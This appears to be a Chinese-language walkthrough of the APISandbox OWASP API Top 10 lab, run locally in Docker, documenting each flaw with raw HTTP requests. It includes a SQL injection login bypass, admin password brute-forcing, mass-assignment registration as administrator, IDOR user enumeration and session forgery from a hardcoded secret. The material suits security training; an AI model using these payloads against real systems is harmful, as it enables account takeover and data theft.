wahaha2025-08-18文章来源:SecHub网络安全社区
下载项目
wget [https://github.com/API-Security/APISandbox/archive/refs/heads/main.zip]
(https://github.com/API-Security/APISandbox/archive/refs/heads/main.zip) -O APISandbox-
main.zip
unzip APISandbox-main.zip
cd APISandbox-main
进入一个漏洞/环境的目录
cd OWASPApiTop10
cd docker
自动化编译环境
docker-compose build
启动整个环境
docker-compose up -d
访问首页会跳转到swagger-ui界面,泄漏了所有API。
http://127.0.0.1:58084/swagger/

先做API4,通过爆破密码进行登录。
用户登录后, /v2/user/getuserinfo/:id API接口可以遍历用户信息。
GET /v2/user/getuserinfo/2 HTTP/1.1
Host: 127.0.0.1:58084
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
GOSESSID=MTcwNTExNzIxMnxOd3dBTkVSWFUxSkRRMVZWU2xkYVJrSlhURTR6UmtWWU5scElSVWsyVEZaT1FrOV
hRME5TVlZGSFdGTlhUamRKTmxGUFRFUlJTa0U9fHJ-pBjVpxvulVqrYh2lB8bmBaHfq4d_obryATJpZmm1
Connection: close

API2: Broken authentication—失效的用户认证
SecretKey: 0waspApiTop10
没有使用随机值,泄漏后可本地伪造鉴权,导致任意用户登录
gin的session在知道secret之后就可以任意伪造
这块可以和API7联动,API7泄露源码
用户登录后,/v2/user/getuseremail可以获取全部用户邮箱信息,web前端只取当前用户ID的邮箱,过多的数据暴露。
GET /v2/user/getuseremail HTTP/1.1
Host: 127.0.0.1:58084
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
GOSESSID=MTcwNTExNzIxMnxOd3dBTkVSWFUxSkRRMVZWU2xkYVJrSlhURTR6UmtWWU5scElSVWsyVEZaT1FrOV
hRME5TVlZGSFdGTlhUamRKTmxGUFRFUlJTa0U9fHJ-pBjVpxvulVqrYh2lB8bmBaHfq4d_obryATJpZmm1
Connection: close
/v2/login 可以爆破admin密码:123qweasd ,API接口未限制请求速率。
可以爆破admin密码:123qweasd
POST /v2/login HTTP/1.1
Host: 127.0.0.1:58084
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 42
{"username": "admin","password": "123456"}
/v2/user/getuserprofile 返回自己的全部信息。
用户未知的情况下, /v2/user/getuserprofiles 返回全部用户信息。
GET /v2/user/getuserprofile HTTP/1.1
Host: 127.0.0.1:58084
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
GOSESSID=MTcwNTExNzIxMnxOd3dBTkVSWFUxSkRRMVZWU2xkYVJrSlhURTR6UmtWWU5scElSVWsyVEZaT1FrOV
hRME5TVlZGSFdGTlhUamRKTmxGUFRFUlJTa0U9fHJ-pBjVpxvulVqrYh2lB8bmBaHfq4d_obryATJpZmm1
Connection: close
/v2/register
前端请求有隐藏的admin标签,可以手动加上, admin为true可以注册为管理员权限用户
POST /v2/register HTTP/1.1
Host: 127.0.0.1:58084
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 80
{"username": "test","password": "test","email": "test@test.com","admin": "true"}
/static
设置静态目录的时候设置到了上一级,导致可以下源码或者下载二进制文件。
/v2/login 存在sqlite注入,可以得到用户名密码
POST /v2/login HTTP/1.1
Host: 127.0.0.1:58084
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101
Firefox/83.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:58084/swagger/
Connection: close
Content-Length: 57
{
"username":"-1' or 1=1 --",
"pas
sword":"123qweasd"
}
/v2/getenv 禁止访问
/v1/getenv 可以访问
由于开发历史遗留的API接口没有被取消,导致旧版本的API接口可以看到环境变量。
没有日志,无法记录信息。